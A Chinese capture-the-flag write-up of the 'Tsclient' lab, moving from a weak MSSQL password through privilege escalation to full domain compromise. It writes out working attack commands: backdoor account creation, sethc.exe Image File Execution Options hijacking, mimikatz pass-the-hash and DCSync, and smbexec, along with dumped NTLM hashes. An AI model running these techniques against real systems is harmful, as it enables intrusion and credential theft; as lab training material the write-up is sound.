Tsclient
靶标介绍
Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
知识点
- MSSQL
- Privilege Elevation
- Kerberos
- 域渗透
- RDP
外网
fscan → service\mssqlserver
外网靶机是台Windows先用fsan扫一下。
└─$ ./fscan -h 39.101.132.220
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 39.101.132.220 is alive
[*] Icmp alive hosts len is: 1
39.101.132.220:1433 open
39.101.132.220:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle: http://39.101.132.220 code:200 len:703 title:IIS Windows Server
[+] mssql:39.101.132.220:1433:sa [deleted]
已完成 2/2
[*] 扫描结束,耗时: 16.249015034s
扫描出了弱口令的Mssql,用MDUT登录并激活XP_Cmdshell
方便我们执行命令。
Windows IP 配置
以太网适配器 以太网 2:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::c75:80a4:266:fe96%8
IPv4 地址 . . . . . . . . . . . . : 172.22.8.18
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . : 172.22.255.253
隧道适配器 Teredo Tunneling Pseudo-Interface:
连接特定的 DNS 后缀 . . . . . . . :
IPv6 地址 . . . . . . . . . . . . : 2001:0:348b:fb58:2459:1cce:d89a:7b23
本地链接 IPv6 地址. . . . . . . . : fe80::2459:1cce:d89a:7b23%12
默认网关. . . . . . . . . . . . . : ::
隧道适配器 isatap.{7901C223-3BC4-42B0-BD21-258AA6858209}:
媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
主机名: WIN-WEB
OS 名称: Microsoft Windows Server 2016 Datacenter
OS 版本: 10.0.14393 暂缺 Build 14393
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人:
注册的组织: Aliyun
产品 ID: 00376-40000-00000-AA947
初始安装日期: 2022/7/11, 12:46:14
系统启动时间: 2023/11/24, 13:57:20
系统制造商: Alibaba Cloud
系统型号: Alibaba Cloud ECS
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 Mhz
BIOS 版本: SeaBIOS 449e491, 2014/4/1
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 4,095 MB
可用的物理内存: 1,939 MB
虚拟内存: 最大值: 4,799 MB
虚拟内存: 可用: 1,599 MB
虚拟内存: 使用中: 3,200 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: 暂缺
修补程序: 安装了 6 个修补程序。
[01]: KB5013625
[02]: KB4049065
[03]: KB4486129
[04]: KB4486131
[05]: KB5014026
[06]: KB5013952
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网 2
启用 DHCP: 是
DHCP 服务器: 172.22.255.253
IP 地址
[01]: 172.22.8.18
[02]: fe80::c75:80a4:266:fe96
Hyper-V 要求: 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。
SweetPotato → system
但由于是低权限因此我们先用SweetPotato提权,成功后便可以获取flag1。
|\___ ___\\ ____\|\ ____\|\ \ |\ \|\ ___ \ |\ ___ \|\___ ___\
\|___ \ \_\ \ \___|\ \ \___|\ \ \ \ \ \ \ __/|\ \ \\ \ \|___ \ \_|
\ \ \ \ \_____ \ \ \ \ \ \ \ \ \ \ \_|/_\ \ \\ \ \ \ \ \
\ \ \ \|____|\ \ \ \____\ \ \____\ \ \ \ \_|\ \ \ \\ \ \ \ \ \
\ \__\ ____\_\ \ \_______\ \_______\ \__\ \_______\ \__\\ \__\ \ \__\
\|__| |\_________\|_______|\|_______|\|__|\|_______|\|__| \|__| \|__|
\|_________|
Getting flag01 is easy, right?
flag01: flag{dfe540df-89bf-465c-a539-ace9ffe7046a}
Maybe you should focus on user sessions...
[+] Process created, enjoy!
这里添加个用户并开启远程桌面,方便我们可视化操作。
net user alpha qwer1234! /add
net localgroup administrators alpha /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
上传CS生成的马并使用SweetPotato触发。
内网
fscan
start infoscan
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.31 is alive
(icmp) Target 172.22.8.46 is alive
[*] Icmp alive hosts len is: 4
172.22.8.15:88 open
172.22.8.18:1433 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.46:139 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.31:139 open
172.22.8.15:139 open
172.22.8.18:139 open
172.22.8.46:135 open
172.22.8.31:135 open
172.22.8.15:135 open
172.22.8.18:135 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:2459:1cce:d89a:7b23
[*] NetBios 172.22.8.15 [+] DC:XIAORANG\DC01
[*] NetInfo
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetInfo
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] WebTitle http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] WebTitle http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[*] NetInfo
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] NetBios 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
已完�?16/16
[*] 扫描结束,耗时: 10.0956937s
[+] Process created, enjoy!
- 172.22.8.15 DC
- 172.22.8.31 域内机
- 172.22.8.46 域内机
John
我们是system权限所以直接拉取所有用户和密码hash值并且在任务管理器中发现John是在线的。CS中可以使用shell quser || qwinst
查看当前在线用户。
[11/24 16:02:47] beacon> hashdump
[11/24 16:02:47] [*] Tasked beacon to dump hashes
[11/24 16:03:32] [+] host called home, sent: 82541 bytes
[11/24 16:03:33] [+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1f:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
John:1008:aad3b435b51404eeaad3b435b51404ee:eec9381b043f098b011be51622282027:::
在CS中我们直接使用注入进程上线,上线后便可以发现该用户存在共享文件。共享文件中提供了一个账密和映像劫持的提示。
[11/24 16:22:32] beacon> shell net use
会记录新的网络连接。
状态 本地 远程 网络
-------------------------------------------------------------------------------
\\TSCLIENT\C Microsoft Terminal Services
命令成功完成。
[11/24 16:24:17] beacon> shell dir \\TSCLIENT\C
驱动器 \\TSCLIENT\C 中的卷没有标签。
卷的序列号是 C2C5-9D0C
\\TSCLIENT\C 的目录
2022/07/12 10:34 71 credential.txt
2022/05/12 17:04 <DIR> PerfLogs
2022/07/11 12:53 <DIR> Program Files
2022/05/18 11:30 <DIR> Program Files (x86)
2022/07/11 12:47 <DIR> Users
2022/07/11 12:45 <DIR> Windows
1 个文件 71 字节
5 个目录 30,074,118,144 可用字节
[11/24 16:24:45] beacon> shell type \\TSCLIENT\C\credential.txt
xiaorang.lab\Aldrich:[deleted]
Do you know how to hijack Image?
172.22.8.46
Reset Aldrich's Password
上面得到了个帐密,利用密码喷洒看看能登录上哪台机器。
└─# proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p '[deleted]'
SMB 172.22.8.46 445 WIN2016 [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN2016) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.8.46 445 WIN2016 [-] xiaorang.lab\Aldrich:[deleted] STATUS_PASSWORD_EXPIRED
最后发现172.22.8.46可以登录但实际登录时提示我们登录密码过期,需要我们更改密码。这个时候可以用impacket中的smbpasswd模块更改密码。
└─# proxychains -q python3 smbpasswd.py xiaorang.lab/Aldrich:'[deleted]'@172.22.8.15 -newpass 'Kingdom666'
Impacket v0.12.0.dev1+20230817.32422.a769683f - Copyright 2023 Fortra
===============================================================================
Warning: This functionality will be deprecated in the next Impacket version
===============================================================================
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.
Image File Execution Options
登录上去发现我们不是管理员而是普通用户,在flag01中提示了我们镜像劫持,查看一下注册表权限。
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
其中Authenticated Users指所有非来宾用户拥有对这个目录的所有权,限即所有正常登录的用户都可以修改注册表。因此我们将shift粘滞键
替换成C:\windows\system32\cmd.exe
这样我们就拥有了system权限。
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
. . . . . . . . . . . . . . . .
.+'|=|`+.=|`+. .+'|=|`+. .+'|=|`+. .+'| |`+. .+'|=|`+. .+'|=|`+. .+'|=|`+.=|`+.
|.+' | | `+.| | | `+.| | | `+.| | | | | | | `+.| | | `+ | |.+' | | `+.|
| | | | . | | | | | | | |=|`. | | | | | |
| | `+.|=|`+. | | | | | | | | `.| | | | | | |
| | . | | | | . | | . | | | | . | | | | | |
| | |`+. | | | | .+'| | | .+'| | | | | .+'| | | | | | |
|.+' `+.|=|.+' `+.|=|.+' `+.|=|.+' |.+' `+.|=|.+' `+.| |.| |.+'
flag02: flag{e55ced0b-77a0-4e1d-9bd8-1975c3fe9929}
在拥有system后我们利用172.22.8.18转发上线CS,利用172.22.8.18创建一个listener然后选择这个listener生成马,将生成的马黏贴到内网靶机就可以了。
接下来进行域信息搜集,发现win2016$在域管组里,因此机器账户可以Hash传递登录域控,相当于直接拿域控了。
[11/24 17:22:47] beacon> hashdump
Administrator:500:[deleted]:8e2eec0e9e0d89e1b046b696e0c2aef7:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[11/24 17:23:24] beacon> shell net user /domain
这项请求将在域 xiaorang.lab 的域控制器处理。
\\DC01.xiaorang.lab 的用户帐户
-------------------------------------------------------------------------------
Administrator Aldrich Guest
krbtgt
[11/24 17:23:41] beacon> shell net group "domain admins" /domain
这项请求将在域 xiaorang.lab 的域控制器处理。
组名 Domain Admins
注释 指定的域管理员
成员
-------------------------------------------------------------------------------
Administrator WIN2016$
命令成功完成。
172.22.8.31
利用mimikatz pth进行凭证传递攻击,注入机器账户哈希然后dump域控哈希。
[11/24 17:25:26] beacon> shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:[deleted]" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:[deleted]
user : WIN2016$
domain : xiaorang.lab
program : cmd.exe
impers. : no
NTLM : aad3b435b51404eeaad3b435b51404ee
| PID 1344
| TID 2460
| LSA Process is now R/W
| LUID 0 ; 11246124 (00000000:00ab9a2c)
\_ msv1_0 - data copy @ 00000273C85B57E0 : OK !
\_ kerberos - data copy @ 00000273C8D93398
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000273C8D961A8 (32) -> null
mimikatz(commandline) # exit
Bye!
然后用mimikatz dcsync dump所有用户的hash获得域控哈希。
[11/24 17:26:02] beacon> shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt 3ffd5b58b4a6328659a606c3ea6f9b63 514
1000 DC01$ e9d025e48c60de8516ba0a01313d5b13 532480
1103 WIN2016$ 7d51b4ed49acbe73cf848f9da42ce5ef 16781312
1104 WIN19-CLIENT$ edd2487ae50b8c9e38028d9d189cf591 16781312
1105 Aldrich 46ff3b917e6d328297d7e633a72bc9ae 512
500 Administrator [deleted] 512
mimikatz(commandline) # exit
Bye!
最后哈希传递登录域控,即可拿到flag03。
└─# proxychains python3 smbexec.py -hashes :[deleted] administrator@172.22.8.15
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.12.0.dev1+20230817.32422.a769683f - Copyright 2023 Fortra
[proxychains] Strict chain ... 112.124.7.196:53204 ... 172.22.8.15:445 ... OK
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\flag\flag03.txt
_________ __ _ _
| _ _ | [ | (_) / |_
|_/ | | \_|.--. .---. | | __ .---. _ .--. `| |-'
| | ( (`\] / /'`\] | | [ |/ /__\\[ `.-. | | |
_| |_ `'.'. | \__. | | | || \__., | | | | | |,
|_____| [\__) )'.___.'[___][___]'.__.'[___||__]\__/
Congratulations! ! !
flag03: flag{457c3163-aff1-4c55-a227-b03b362c82ce}